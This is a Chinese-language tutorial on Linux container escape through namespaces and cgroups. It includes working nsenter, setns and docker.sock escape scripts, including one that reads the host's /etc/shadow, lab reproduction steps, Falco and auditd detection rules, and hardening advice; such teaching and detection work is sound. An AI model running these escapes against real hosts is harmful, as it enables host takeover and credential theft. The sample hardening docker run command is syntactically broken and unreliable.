Linux 容器逃逸:从内核机制到实战利用
目录
- 前言:为什么内核是容器的唯一安全边界
- 实验环境搭建
- 第一章 Namespace — 资源可见性隔离
- 第二章 Cgroup — 资源限制与代码执行通道
- 第三章 Capabilities — 细粒度权限的边界
- 第四章 /proc 和 /sys — 信息金矿与控制接口
- 第五章 OverlayFS — 分层文件系统的裂缝
- 第六章 页缓存与管道 — 共享内核全局数据
- 第七章 Docker 配置不当逃逸
- 第八章 Kubernetes 环境逃逸
- 第九章 组合攻击链
- 附录
前言:为什么内核是容器的唯一安全边界
虚拟机 vs 容器:安全模型的根本差异
┌─────────────────────────────────────────────────────────────────────┐
│ 虚拟机安全模型 │
│ │
│ ┌──────────────┐ ┌──────────────┐ ┌──────────────┐ │
│ │ VM Guest A │ │ VM Guest B │ │ VM Guest C │ │
│ │ (独立内核) │ │ (独立内核) │ │ (独立内核) │ │
│ └──────┬───────┘ └──────┬───────┘ └──────┬───────┘ │
│ │ │ │ │
│ ┌──────┴───────────────────┴───────────────────┴──────┐ │
│ │ Hypervisor (KVM/VMware) │ │
│ │ 硬件级虚拟化 (Ring 0/1/3) │ │
│ └─────────────────────────────────────────────────────┘ │
│ │
│ 安全边界: Hypervisor(硬件特权环隔离) │
│ 攻破Guest内核 ≠ 攻破宿主机 │
└─────────────────────────────────────────────────────────────────────┘
┌─────────────────────────────────────────────────────────────────────┐
│ 容器安全模型 │
│ │
│ ┌──────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐ │
│ │Container A│ │Container B│ │Container C│ │Container D│ │
│ │ (用户态) │ │ (用户态) │ │ (用户态) │ │ (用户态) │ │
│ └─────┬────┘ └─────┬────┘ └─────┬────┘ └─────┬────┘ │
│ │ │ │ │ │
│ ┌─────┴─────────────┴─────────────┴─────────────┴─────┐ │
│ │ Linux 内核(共享唯一) │ │
│ │ Namespace │ Cgroup │ Capabilities │ /proc+/sys │ │
│ │ OverlayFS │ 页缓存 │ 管道缓冲 │ Seccomp/eBPF │ │
│ └────────────────────────────────────────────────────┘ │
│ │
│ 安全边界: 内核(软件逻辑隔离) │
│ 攻破内核 = 攻破宿主机 │
└─────────────────────────────────────────────────────────────────────┘
核心结论
- 所有容器共享同一个内核——这是容器轻量的根源,也是安全隐患的根源
- 容器隔离是软件实现的逻辑隔离——依赖内核对系统调用的正确拦截和过滤
- 内核是唯一的边界裁决者——任何对隔离机制的绕过最终都归结为对内核的利用
- 容器安全 = 内核安全——容器层面的加固治标不治本,真正的安全需要从内核机制入手
六大内核机制总览
| 序号 | 机制 | 内核版本引入 | 设计目的 | 被利用的核心弱点 |
|---|---|---|---|---|
| 1 | Namespace | 2.4.19 (2002) | 资源可见性隔离 | 非单向、可切换、fd 泄漏 |
| 2 | Cgroup | 2.6.24 (2008) | 资源配额限制 | 通知机制可执行宿主机命令 |
| 3 | Capabilities | 2.2 (1999) | Root 权限拆分 | 单个 CAP 可等同于 root |
| 4 | /proc + /sys | 0.97 (1992) | 内核信息/控制接口 | 暴露宿主机全局信息与控制通道 |
| 5 | OverlayFS | 3.18 (2014) | 分层联合文件系统 | 路径泄漏 + copy-up 竞态 |
| 6 | 页缓存 + 管道 | 0.01 (1991) | 内存管理与进程通信 | 全局共享数据结构的跨进程利用 |
三层次逃逸模型
┌────────────────────────────────────────────────────────────┐
│ Docker 逃逸三层次模型 │
├────────────────────────────────────────────────────────────┤
│ │
│ 第一层:配置不当 ████████████████████░░ 90%+ │
│ ├── Docker Socket 挂载 │
│ ├── --privileged 特权模式 │
│ ├── 敏感目录挂载 (/proc, /sys, /, /root) │
│ ├── 过大 Capabilities (SYS_ADMIN等) │
│ ├── Daemon API 未授权访问 │
│ └── 不安全的 K8s RBAC / Service Account │
│ │
│ 第二层:隔离机制设计假设被打破 ████░░░░░░░░░░░░░░ ~8% │
│ ├── cgroup release_agent (通知机制→命令执行) │
│ ├── /proc/self/exe fd 泄漏 (CVE-2019-5736) │
│ ├── runc cwd fd 泄漏 (CVE-2024-21626) │
│ ├── OverlayFS perdir 路径泄漏 │
│ ├── nsenter Namespace 切换 │
│ ├── User Namespace 映射提权 │
│ ├── /sys/kernel/core_pattern 注入 │
│ └── 设备文件直接访问 │
│ │
│ 第三层:内核 Bug █░░░░░░░░░░░░░░░░░░░░ ~2% │
│ ├── Dirty COW (CVE-2016-5195) │
│ ├── Dirty Pipe (CVE-2022-0847) │
│ ├── OverlayFS 内核漏洞 │
│ └── 其他内核 UAF / 越界 / 竞态 │
│ │
└────────────────────────────────────────────────────────────┘
层次之间的关系:
- 第一层不依赖任何漏洞,纯粹是人为配置错误。攻击者只需要"找到入口"(如
/var/run/docker.sock),不需要"打破"任何隔离机制。 - 第二层利用的是隔离机制本身的设计弱点——机制按设计正常工作,但攻击者找到了设计者未预见的使用方式。
- 第三层是纯粹的内核漏洞利用——内核代码中存在可被触发的安全缺陷,需要特定内核版本。
防御优先级: 第一层 > 第二层 > 第三层。因为修复配置问题的成本远低于修复内核漏洞,且第一层覆盖了绝大多数攻击面。
逃逸路径决策树
当你已获取容器内的 shell,按以下决策树快速判断可用的逃逸路径:
你在容器内已获得 shell
│
▼
┌──────────────┐
│ 检查 docker.sock │─── YES ──→ [直接逃逸] 挂载宿主机根目录
│ /var/run/ │
│ docker.sock │
└──────┬───────┘
│ NO
▼
┌──────────────┐
│ 检查特权模式 │─── YES ──→ [直接逃逸] 多种路径可用
│ 是否有全部CAP │ ├── 挂载宿主机磁盘设备
│ │ ├── 操作 cgroup release_agent
└──────┬───────┘ ├── nsenter 宿主机进程
│ NO └── 修改 /sys/kernel/core_pattern
▼
┌──────────────┐
│ 检查高危CAP │─── YES ──→ [可能逃逸] 取决于具体CAP
│ SYS_ADMIN等 │ ├── CAP_SYS_ADMIN → 最危险
└──────┬───────┘ ├── CAP_SYS_MODULE → 加载内核模块
│ NO ├── CAP_SYS_PTRACE → 注入宿主机进程
▼ └── CAP_DAC_READ_SEARCH → 读宿主机文件
┌──────────────┐
│ 检查挂载点 │─── YES ──→ [检查挂载内容]
│ /proc, /sys │ ├── cgroup fs → release_agent
│ /, /root等 │ ├── /proc/self/exe → CVE-2019-5736
└──────┬───────┘ ├── 宿主机目录 → 直接操作文件
│ NO └── 设备文件 → 直接访问块设备
▼
┌──────────────┐
│ 检查内核版本 │─── 匹配 ──→ [漏洞利用] Dirty Pipe等
│ 是否存在已知 │ 但需要容器外编译的 exploit
│ 内核漏洞 │ 且不保证稳定
└──────┬───────┘
│ NO
▼
┌──────────────┐
│ 检查K8s环境 │─── YES ──→ [K8s特有路径]
│ Service Acct │ ├── SA Token → API Server → 创建特权Pod
│ Kubelet API │ ├── Kubelet 未授权 → 运行特权容器
│ Cloud Metadata│ └── Cloud Metadata SSRF → 获取云凭证
└──────┬───────┘
│ NO
▼
[暂无可行路径]
考虑横向移动到
更有价值的容器
实验环境搭建
硬件要求
| 项目 | 最低配置 | 推荐配置 |
|---|---|---|
| CPU | 2 核 | 4 核 |
| 内存 | 4 GB | 8 GB |
| 磁盘 | 20 GB | 50 GB |
软件环境
推荐使用 Ubuntu 22.04 LTS 虚拟机(Vagrant / VMware / VirtualBox):
# 宿主机系统
lsb_release -a
# Ubuntu 22.04.4 LTS
# 安装 Docker
curl -fsSL https://get.docker.com | sh
systemctl enable --now docker
docker --version
# Docker version 27.x
# 可选: 安装 docker-compose
apt-get install -y docker-compose-plugin
# 可选: 安装安全工具
apt-get install -y iproute2 bridge-utils net-tools vim
实验目录结构
mkdir -p ~/docker-escape-lab/{scripts,output,evidence}
cd ~/docker-escape-lab
安全隔离建议
重要: 所有实验应在隔离的虚拟机中进行。建议:
- 虚拟机不连接生产网络
- 使用 Host-Only 网络适配器
- 实验完成后销毁虚拟机快照
# 创建实验用的桥接网络
docker network create --driver bridge escape-lab
# 验证环境
docker info | grep -E "Server Version|Kernel|Operating System"
第一章 Namespace — 资源可见性隔离
1.1 设计原理与内核实现
什么是 Namespace
Namespace 是 Linux 内核提供的一种资源隔离机制。它让一组进程看到"系统资源的一个特定视图",每个 Namespace 中的进程认为自己拥有独立的资源实例。
类比: Namespace 就像是给每个进程组戴上不同的"VR 头盔"——每个人看到的"世界"不同,但实际上身处同一个物理空间。
内核数据结构
Namespace 在内核中的核心数据结构是 struct nsproxy:
// linux/include/linux/nsproxy.h
struct nsproxy {
atomic_t count;
struct uts_namespace *uts_ns; // 主机名和域名
struct ipc_namespace *ipc_ns; // System V IPC
struct mnt_namespace *mnt_ns; // 文件系统挂载点
struct pid_namespace *pid_ns_for_children; // 子进程 PID
struct net_namespace *net_ns; // 网络栈
struct cgroup_namespace *cgroup_ns; // Cgroup 视图 (4.6+)
};
每个进程的 task_struct 中持有指向 nsproxy 的指针:
// linux/include/linux/sched.h
struct task_struct {
...
struct nsproxy *nsproxy;
...
};
关键系统调用
| 系统调用 | 功能 | 影响范围 |
|---|---|---|
clone(flags) |
创建新进程时可指定新 NS 标志 | 仅影响子进程及后代 |
unshare(flags) |
将当前进程移入新 NS | 仅影响当前进程及后代 |
setns(fd, nstype) |
加入已存在的 NS | 当前进程"跳到"另一个 NS |
Docker 创建容器时使用的 clone 标志:
// containerd/runc 内核调用
int flags = CLONE_NEWUTS | // 独立主机名
CLONE_NEWIPC | // 独立 IPC
CLONE_NEWPID | // 独立 PID 空间
CLONE_NEWNS | // 独立 Mount
CLONE_NEWNET | // 独立网络栈
CLONE_NEWCGROUP; // 独立 Cgroup 视图
关键洞察:Namespace 是可切换的
setns() 系统调用允许进程主动加入另一个进程的 Namespace。这不是"只读查看",而是完全切换执行环境。这就是 nsenter 命令的底层实现。
┌─────────────────────────────────────────────────┐
│ 宿主机 Namespace 空间 │
│ ┌─────────────────────────────────────────────┐ │
│ │ PID 1 (init) [UTS: host] [PID: host] │ │
│ │ PID 100 (dockerd) │ │
│ │ PID 200 (containerd-shim) │ │
│ │ └─ PID 201 (runc init) │ │
│ │ [UTS: container] [PID: container] │ │
│ │ └─ PID 202 (nginx) │ │
│ │ [UTS: container] [PID: container]│ │
│ └─────────────────────────────────────────────┘ │
│ │
│ PID 202 (nginx) 可以通过以下路径: │
│ /proc/1/ns/* → setns() → 切换到宿主机 NS │
│ 这意味着容器内进程可以"跳出"容器 Namespace │
└─────────────────────────────────────────────────┘
1.2 六种 Namespace 详解
Mount Namespace (CLONE_NEWNS)
隔离内容: 文件系统挂载点视图
实现原理: 每个 Mount NS 维护一棵独立的挂载树(struct mount 的树形结构)。容器内看到的是一棵"修剪过"的挂载树,隐藏了宿主机的挂载点。
逃逸相关:
pivot_root/chroot可以在容器内进一步限制文件系统视图- 但如果容器挂载了宿主机目录(如
-v /:/hostfs),容器内的 Mount NS 就能看到宿主机文件 /proc/<pid>/root是一个符号链接指向该进程的根目录的挂载点
内核关键代码:
// linux/fs/namespace.c
// mount 系统调用的核心入口
SYSCALL_DEFINE5(mount, char __user *, dev_name, ...)
{
// 检查 caller 的 mount NS
// 在当前 NS 的挂载树中添加新挂载点
// 其他 NS 不受影响
}
// linux/fs/proc_task.c
// /proc/<pid>/root 的实现
static const struct dentry_operations proc_pid_link_dentry_operations = {
.d_dname = proc_pid_link_dname,
};
// 实际上是一个到该进程 root 的符号链接
PID Namespace (CLONE_NEWPID)
隔离内容: 进程 ID 编号空间
实现原理: 每个 PID NS 有独立的进程 ID 编号。容器内的 PID 1 并非宿主机的 PID 1(init),而是容器的 init 进程。但这只是"编号隔离"——容器内进程在宿主机上仍然有真实的 PID。
关键陷阱: /proc 目录中的进程列表取决于哪个 PID NS 在查看。如果容器内进程可以访问宿主机 PID NS 的 /proc,就能看到宿主机进程。
双层 PID NS 映射:
宿主机 PID NS: 容器 PID NS:
PID 1 (init) ─
PID 100 (dockerd) ─
PID 201 (runc init) → PID 1 (容器 init)
PID 202 (nginx) → PID 7 (容器 nginx)
容器内看到的 PID 7,实际上是宿主机的 PID 202。
User Namespace (CLONE_NEWUSER)
隔离内容: UID 和 GID 的映射关系
实现原理: User NS 允许在容器内创建一个 UID/GID 映射表。容器内的 UID 0(root)可以映射为宿主机上的任意非特权 UID。
逃逸利用:
- 如果没有配置 User NS 映射(Docker 默认行为),容器内的 UID 0 = 宿主机的 UID 0
- 如果映射配置不当,容器内的非特权用户可能映射为宿主机的特权用户
unshare(CLONE_NEWUSER)可以在容器内再创建一层 User NS,在某些内核版本中可以获得意外的权限提升
// linux/kernel/user_namespace.c
// UID 映射的核心结构
struct uid_gid_map {
u32 nr_extents; // 映射条目数
struct uid_gid_extent {
u32 first; // 父 NS 的起始 UID
u32 lower_first; // 子 NS 的起始 UID
u32 count; // 映射范围
} extent[UID_GID_MAP_MAX_EXTENTS];
};
Network Namespace (CLONE_NEWNET)
隔离内容: 网络设备、IP 地址、路由表、iptables 规则、socket 等
实现原理: 每个 Net NS 有独立的网络栈。Docker 默认通过 bridge 网络驱动创建 docker0 网桥,将容器连接到宿主机网络。
逃逸相关:
- 特权容器可以操作宿主机的网络设备(创建 veth pair、修改 iptables)
- 如果容器的
--network host模式,直接共享宿主机网络栈 - 通过
/proc/<pid>/ns/net的 fd 可以setns()到宿主机网络 NS
IPC Namespace (CLONE_NEWIPC)
隔离内容: System V IPC 对象(消息队列、信号量、共享内存)
逃逸价值较低: IPC 对象的跨 NS 泄漏通常不能直接用于逃逸,但可以用于信息收集。
UTS Namespace (CLONE_NEWUTS)
隔离内容: 主机名和 NIS 域名
逃逸价值最低: 仅用于隐藏容器的主机名,无直接逃逸路径。
1.3 安全测试方法
测试 1: 枚举当前 Namespace 信息
#!/bin/bash
# ns-inspect.sh — 在容器内执行,检查当前 NS 信息
echo "=== Namespace 检查 ==="
echo "PID Namespace: $(readlink /proc/self/ns/pid)"
echo "Mount NS: $(readlink /proc/self/ns/mnt)"
echo "Net NS: $(readlink /proc/self/ns/net)"
echo "User NS: $(readlink /proc/self/ns/user)"
echo "IPC NS: $(readlink /proc/self/ns/ipc)"
echo "UTS NS: $(readlink /proc/self/ns/uts)"
echo "Cgroup NS: $(readlink /proc/self/ns/cgroup)"
echo ""
echo "=== 宿主机进程 Namespace 是否可见 ==="
# 尝试列出宿主机的 Namespace inode
ls -la /proc/*/ns/ 2>/dev/null | head -20
echo ""
echo "=== 可切换的 Namespace fd ==="
# 查找 /proc 中可访问的外部 Namespace fd
for ns in /proc/*/ns/*; do
my_inode=$(readlink /proc/self/ns/pid)
target_inode=$(readlink "$ns" 2>/dev/null)
if [ "$my_inode" != "$target_inode" ] && [ -n "$target_inode" ]; then
echo "[可切换] $ns -> $target_inode"
fi
done | head -30
测试 2: 尝试 setns 切换
#!/bin/bash
# ns-switch-test.sh — 测试是否可以切换到宿主机 NS
# 注意: 需要 CAP_SYS_ADMIN 或对应的 NS 文件描述符
# 方法 1: 通过 nsenter
if command -v nsenter &>/dev/null; then
echo "[测试] 尝试通过 nsenter 切换到 PID 1 的 NS..."
ls -la /proc/1/ns/ 2>/dev/null
# 尝试获取宿主机 init 进程
for pid in $(seq 1 50); do
if [ -d "/proc/$pid/ns" ]; then
host_uts=$(readlink /proc/$pid/ns/uts 2>/dev/null)
my_uts=$(readlink /proc/self/ns/uts 2>/dev/null)
if [ "$host_uts" != "$my_uts" ]; then
echo "[!] 发现外部 NS (PID $pid)"
echo " UTS: $host_uts"
ls -la /proc/$pid/ns/
fi
fi
done
fi
# 方法 2: 通过 unshare 创建新 NS
echo "[测试] 尝试创建新 User NS..."
unshare --user echo "User NS 创建成功" 2>&1
echo "[测试] 尝试创建新 PID NS..."
unshare --fork --pid echo "PID NS 创建成功" 2>&1
测试 3: 检查 Namespace 隔离强度(Python)
#!/usr/bin/env python3
"""
ns-depth-check.py — 深度检查 Namespace 隔离强度
在容器内运行,评估当前逃逸风险
"""
import os
import sys
from pathlib import Path
def read_ns_link(pid, ns_type):
"""读取指定进程的 Namespace inode"""
try:
return os.readlink(f"/proc/{pid}/ns/{ns_type}")
except (OSError, FileNotFoundError):
return None
def check_namespace_escape():
my_pid = os.getpid()
print(f"当前 PID: {my_pid}")
print("=" * 60)
# 获取当前进程的所有 NS
ns_types = ['pid', 'mnt', 'net', 'user', 'ipc', 'uts', 'cgroup']
my_ns = {}
for ns in ns_types:
my_ns[ns] = read_ns_link(my_pid, ns)
print(f" {ns:10s}: {my_ns[ns]}")
print("\n" + "=" * 60)
print("外部 Namespace 扫描 (潜在逃逸目标)")
print("=" * 60)
escape_targets = []
# 扫描可见的外部进程
for entry in Path("/proc").iterdir():
if not entry.name.isdigit():
continue
pid = int(entry.name)
if pid == my_pid:
continue
# 检查该进程是否在同一个 NS
for ns in ns_types:
target_ns = read_ns_link(pid, ns)
if target_ns and my_ns.get(ns) != target_ns:
escape_targets.append({
'pid': pid,
'ns_type': ns,
'target': target_ns
})
if escape_targets:
print(f"\n[!] 发现 {len(escape_targets)} 个可切换的外部 NS:")
for t in escape_targets[:10]:
print(f" PID {t['pid']:6d} → {t['ns_type']:10s} → {t['target']}")
if len(escape_targets) > 10:
print(f" ... 还有 {len(escape_targets) - 10} 个")
print("\n[!] 风险: 如果存在 nsenter 或 setns 权限,可直接切换到宿主机 NS")
else:
print("\n[+] 未发现外部 NS,Namespace 隔离完整")
if __name__ == "__main__":
check_namespace_escape()
1.4 逃逸利用技术
技术 1: nsenter 直接逃逸
条件: 容器具有 CAP_SYS_ADMIN 或 --privileged,或可访问宿主机进程的 NS fd
原理: 通过 nsenter 切换到宿主机进程的 Namespace,获得宿主机执行环境
完整利用脚本:
#!/bin/bash
# escape-nsenter.sh — 通过 nsenter 逃逸到宿主机
# 前置条件: 特权容器或拥有 CAP_SYS_ADMIN
echo "[*] 寻找宿主机 init 进程..."
# 在特权容器中,可以看到宿主机进程
# Docker 的 init 进程通常是 PID 1
# 但在 PID NS 中,容器 PID 1 可能映射到宿主机的其他 PID
# 方法 1: 通过 /proc 找到宿主机 shim/init 进程
for pid in $(ls /proc | grep -E '^[0-9]+$'); do
if [ -f "/proc/$pid/cmdline" ]; then
cmd=$(tr '\0' ' ' < /proc/$pid/cmdline 2>/dev/null | head -c 200)
if echo "$cmd" | grep -qE "docker-shim|containerd-shim|runc"; then
echo "[+] 发现容器运行时进程: PID $pid ($cmd)"
echo "[*] 尝试 nsenter -t $pid -a ..."
nsenter -t $pid -a /bin/bash
fi
fi
done
# 方法 2: 通过 docker.sock(如果已挂载)
if [ -S /var/run/docker.sock ]; then
echo "[+] Docker Socket 可用,直接创建特权容器"
docker -H unix:///var/run/docker.sock run -d \
-v /:/hostfs \
--name escape-nsenter \
alpine sh -c 'cat /hostfs/etc/shadow'
fi
技术 2: /proc/self/fd/ + setns 逃逸
条件: 容器挂载了宿主机 /proc,或可访问外部进程的 /proc/<pid>/ns/*
#!/usr/bin/env python3
"""
escape-setns.py — 通过 setns() 切换到宿主机 Namespace
"""
import os
import ctypes
import socket
# Linux 系统调用号 (x86_64)
SYS_setns = 308
def setns(fd, nstype):
"""调用 setns 系统切换到指定 Namespace"""
libc = ctypes.CDLL("libc.so.6", use_errno=True)
ret = libc.syscall(SYS_setns, fd, nstype)
if ret == -1:
errno = ctypes.get_errno()
raise OSError(errno, f"setns failed: {os.strerror(errno)}")
return ret
def escape_via_setns():
print("[*] 扫描可用的宿主机 Namespace fd...")
for entry in os.scandir("/proc"):
if not entry.name.isdigit():
continue
pid = int(entry.name)
ns_dir = f"/proc/{pid}/ns"
try:
for ns_file in os.listdir(ns_dir):
ns_path = f"{ns_dir}/{ns_file}"
my_ns = f"/proc/self/ns/{ns_file}"
# 比较是否为不同 NS
try:
my_inode = os.stat(my_ns).st_ino
target_inode = os.stat(ns_path).st_ino
if my_inode != target_inode:
print(f"[+] 外部 NS: PID {pid} / {ns_file}")
fd = os.open(ns_path, os.O_RDONLY)
try:
setns(fd, 0) # 0 = 自动检测 NS 类型
print(f"[!] 成功切换到 PID {pid} 的 {ns_file} NS!")
os.execv("/bin/bash", ["/bin/bash"])
except OSError as e:
print(f"[-] setns 失败: {e}")
finally:
os.close(fd)
except (OSError, FileNotFoundError):
pass
except PermissionError:
continue
if __name__ == "__main__":
escape_via_setns()
技术 3: User Namespace 提权
条件: 内核允许非特权用户创建 User NS(通常默认允许)
#!/bin/bash
# escape-userns.sh — 通过 User Namespace 映射提权
# 在某些配置下,容器内的非特权用户可以通过 User NS 获取 root
# 创建新的 User NS
unshare --user --map-root-user --fork sh -c '
echo "[+] 新 User NS 中"
echo " UID: $(id -u) (在容器内)"
echo " 宿主机 UID 映射: $(cat /proc/self/uid_map)"
# 在新 User NS 中,我们是 UID 0
# 但在宿主机上可能只是普通用户
# 关键: 如果配合 mount NS,可以挂载设备
# 尝试挂载宿主机磁盘
unshare --mount sh -c "
mount /dev/sda1 /mnt 2>/dev/null && echo [!] 磁盘挂载成功 || echo [-] 挂载失败
"
'
1.5 实验复现
实验 1: nsenter 进程注入
前置条件: --privileged 或 CAP_SYS_ADMIN
Step 1: 创建特权容器(宿主机执行)
# 创建特权容器
docker run -dit --name ns-escape --privileged alpine:latest
docker exec -it ns-escape /bin/sh
Step 2: 在容器内检查环境
# 检查是否为特权容器
cat /proc/1/status | grep CapEff
# CapEff: 0000003fffffffff → 全部 Capabilities
# 查看可见的宿主机进程
ls /proc/ | grep -E '^[0-9]+$' | head -20
# 特权容器可以看到宿主机进程(PID NS 可能未隔离)
# 检查宿主机 init 进程的 NS
ls -la /proc/1/ns/
# 如果 PID 1 是宿主机 init,这些就是宿主机的 NS
Step 3: 使用 nsenter 逃逸
# 方法 1: 直接 nsenter 到宿主机 init 进程
nsenter -t 1 -m -u -i -n -p -- /bin/bash
# 如果成功,你现在已经在宿主机的 Namespace 中
# 验证
hostname # 应该是宿主机主机名,不是容器 ID
ip addr # 应该能看到宿主机网络接口
cat /etc/shadow # 应该能读到宿主机 shadow
# 方法 2: 找到 containerd-shim 进程并切换
for pid in $(ls /proc | grep -E '^[0-9]+$'); do
if [ -f "/proc/$pid/cmdline" ]; then
cmd=$(tr '\0' ' ' < /proc/$pid/cmdline 2>/dev/null)
if echo "$cmd" | grep -q "containerd-shim"; then
echo "[+] containerd-shim: PID $pid"
nsenter -t $pid -a /bin/bash
fi
fi
done
Step 4: 清理
exit # 退出 nsenter shell
exit # 退出容器
docker stop ns-escape && docker rm ns-escape
实验 2: User Namespace 滥用
前置条件: 非 root 用户可以创建 User NS
Step 1: 创建普通容器
docker run -dit --name userns-test alpine:latest
docker exec -it userns-test /bin/sh
Step 2: 在容器内测试 User NS
# 检查当前 User NS
readlink /proc/self/ns/user
# user:[4026531837] — 这通常是宿主机的 User NS
# 尝试创建新 User NS
unshare --user --map-root-user sh -c '
echo "[+] 在新 User NS 中"
id
# uid=0(root) gid=0(root) — 在新 NS 内是 root
echo "[+] UID 映射:"
cat /proc/self/uid_map
# 0 1000 1 — 容器 UID 0 映射到宿主机 UID 1000
'
# 检查内核是否允许非特权 User NS
cat /proc/sys/kernel/unprivileged_userns_clone 2>/dev/null
# 1 = 允许, 0 = 禁止
Step 3: 利用 User NS + Mount NS 组合
# 在某些内核版本上,User NS 可以配合 Mount NS
# 创建新 User NS 并自动获得 CAP_SYS_ADMIN(在新 NS 内)
unshare --user --map-root-user --mount sh -c '
echo "[+] 在新 User+Mount NS 中"
# 尝试挂载 tmpfs
mount -t tmpfs tmpfs /mnt 2>/dev/null && echo "[!] tmpfs 挂载成功" || echo "[-] 挂载失败"
# 尝试挂载 proc
mount -t proc proc /mnt 2>/dev/null && echo "[!] proc 挂载成功" || echo "[-] 挂载失败"
'
Step 4: 清理
exit
docker stop userns-test && docker rm userns-test
1.6 检测规则
Falco 规则
# falco-rules-namespace.yaml
# Namespace 操作检测规则
- rule: Namespace Switch via nsenter
desc: 检测容器内进程使用 nsenter 切换 Namespace
condition: >
container and
proc_name = "nsenter" and
not proc.pname = "runc"
output: >
[Namespace] 容器内 nsenter 操作
container=%container.name
user=%user.name
command=%proc.cmdline
pid=%proc.pid
priority: CRITICAL
tags: [container, namespace, escape]
- rule: Namespace Switch via setns syscall
desc: 检测容器内进程调用 setns 系统调用
condition: >
container and
syscall = setns and
not proc.pname in (runc, containerd)
output: >
[Namespace] setns 系统调用
container=%container.name
user=%user.name
pid=%proc.pid
ns_type=%syscall.args
priority: CRITICAL
tags: [container, namespace, escape]
- rule: Suspicious unshare Operation
desc: 检测容器内进程创建新 Namespace
condition: >
container and
syscall = unshare and
(evt.arg.flags & CLONE_NEWUSER) > 0 and
not proc.name in (runc, dockerd, containerd)
output: >
[Namespace] 可疑 unshare (CLONE_NEWUSER)
container=%container.name
user=%user.name
pid=%proc.pid
priority: WARNING
tags: [container, namespace, privilege_escalation]
- rule: Access to Host Namespace Files
desc: 检测容器内进程访问宿主机 Namespace 文件
condition: >
container and
(open_write and fd.name startswith "/proc/" and
fd.name contains "/ns/" and
not proc.name in (runc, dockerd, containerd))
output: >
[Namespace] 访问外部 Namespace 文件
container=%container.name
user=%user.name
file=%fd.name
pid=%proc.pid
priority: HIGH
tags: [container, namespace, escape]
auditd 规则
# auditd-namespace.rules
# 监控 Namespace 相关系统调用
# 监控 setns
-a always,exit -F arch=b64 -S setns -F auid>=1000 -F auid!=4294967295 -k namespace_escape
# 监控 unshare (仅 CLONE_NEWUSER)
-a always,exit -F arch=b64 -S unshare -F a0=0x10000000 -F auid>=1000 -k namespace_unshare
# 监控 nsenter (通过 execve)
-w /usr/bin/nsenter -p x -k nsenter_exec
1.7 加固方案
| 加固措施 | 具体操作 | 防御层级 | 效果 |
|---|---|---|---|
| 禁止特权容器 | K8s PSP/OPA: privileged: false |
第一层 | 阻止 nsenter 逃逸 |
| 限制 Capabilities | 移除 CAP_SYS_ADMIN、CAP_SYS_PTRACE |
第一层 | 阻止 setns 系统调用 |
| User NS 限制 | sysctl kernel.unprivileged_userns_clone=0 |
内核层 | 禁止非特权 User NS 创建 |
| Seccomp 过滤 | 禁止 setns、unshare 系统调用 |
容器运行时层 | 进程级拦截 |
| AppArmor 配置 | 限制对 /proc/*/ns/* 的访问 |
LSM 层 | 文件级访问控制 |
| /proc 挂载只读 | ro 挂载 /proc |
挂载层 | 阻止读取外部 NS 信息 |
| PID Namespace 隔离 | 不使用 --pid host |
配置层 | 阻止看到宿主机进程 |
| Network Namespace 隔离 | 不使用 --net host |
配置层 | 阻止操作宿主机网络 |
Docker 最佳实践:
# 安全的 Docker run 命令
docker run \
--cap-drop ALL \ # 移除所有 Capabilities
--cap-add CAP_NET_BIND_SERVICE \ # 仅添加必要的
--security-opt no-new-privs \ # 禁止提权
--security-opt seccomp=default.json \ # 使用默认 seccomp profile
--security-opt apparmor=docker-default \ # 启用 AppArmor
--read-only \ # 只读文件系统
--tmpfs /run -tmpfs /tmp \ # 必要的可写目录
--network none \ # 最小网络
your-image
Kubernetes Pod Security Standards:
apiVersion: v1
kind: Pod
metadata:
name: secure-pod
spec:
securityContext:
runAsNonRoot: true
runAsUser: 1000
seccompProfile:
type: RuntimeDefault
containers:
- name: app
image: app:latest
securityContext:
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
capabilities:
drop: ["ALL"]
第二章 Cgroup — 资源限制与代码执行通道
2.1 设计原理与内核实现
什么是 Cgroup
Cgroup (Control Group) 是 Linux 内核提供的进程资源限制、优先级、审计和隔离机制。与 Namespace 做"视野隔离"不同,Cgroup 做的是"能力限制"——它限制了进程能使用的 CPU、内存、IO、网络等物理资源的最大配额。
类比: Namespace 是"视觉欺骗"(让每个容器以为自己独占系统),Cgroup 是"物理限流"(让每个容器实际只能使用有限资源)。
核心数据结构
// linux/include/linux/cgroup-defs.h (5.x+)
struct cgroup {
struct cgroup_subsys_state __rcu *subsys[CGROUP_SUBSYS_COUNT];
struct cgroup_root *root;
refcount_t self;
refcount_t zombies;
struct kernfs_node *kn;
struct list_head cset_links;
struct cgroup_base_stat pending_stat;
struct cgroup_freezer_state freezer;
struct psi_group *psi;
};
Cgroup 子系统(控制器)完整列表
// linux/include/linux/cgroup_subsys.h
SUBSYS(cpuset) // CPU 和内存节点亲和性
SUBSYS(cpu) // CPU 使用时间配额 (CFS 调度器)
SUBSYS(cpuacct) // CPU 使用统计
SUBSYS(io) // 块设备 IO 带宽限制
SUBSYS(memory) // 内存使用限制和 OOM 控制
SUBSYS(devices) // 设备文件访问控制
SUBSYS(freezer) // 进程组冻结/恢复
SUBSYS(net_cls) // 网络流量分类标记
SUBSYS(blkio) // 块设备 IO 限制 (v1)
SUBSYS(perf_event) // 性能事件监控
SUBSYS(net_prio) // 网络接口优先级
SUBSYS(hugetlb) // 大页内存配额
SUBSYS(pids) // 进程数限制
SUBSYS(rdma) // RDMA 资源限制
SUBSYS(misc) // 杂项资源配额 (5.13+)
Cgroup v1 挂载与文件系统接口
// linux/kernel/cgroup/cgroup-v1.c
static int cgroup1_root_remount(struct cgroup_root *root)
{
// v1 的每个子系统可以独立创建层次结构
// 允许同一套进程使用不同的 cgroup 层次结构
// 这就是 release_agent 攻击面存在的根源
}
static char *cgroup1_release_agent_path;
// ← 关键攻击面!通知 cgroup 为空时执行的外部程序路径
2.2 Cgroup v1 vs v2 差异
| 特性 | Cgroup v1 (2.6.24+) | Cgroup v2 (4.5+) |
|---|---|---|
| 层次结构 | 每个子系统独立层次 | 统一层次,所有子系统共享 |
| release_agent | 存在(核心逃逸攻击面) | 已移除(内核修复) |
| notify_on_release | 支持文件级通知 | 移除,用 inotify/fanotify 替代 |
| 线程模式 | 进程级控制 | 支持线程级和进程级控制 |
| eBPF 支持 | 有限 | 完整的 eBPF cgroup 钩子 |
| 安全提升 | release_agent 可被滥用 | 无 release_agent,攻击面缩小 |
关键安全结论: cgroup v1 的 release_agent 机制是该子系统最严重的逃逸通道。cgroup v2 的设计明确移除了这一功能。然而,许多生产环境仍然使用 cgroup v1。
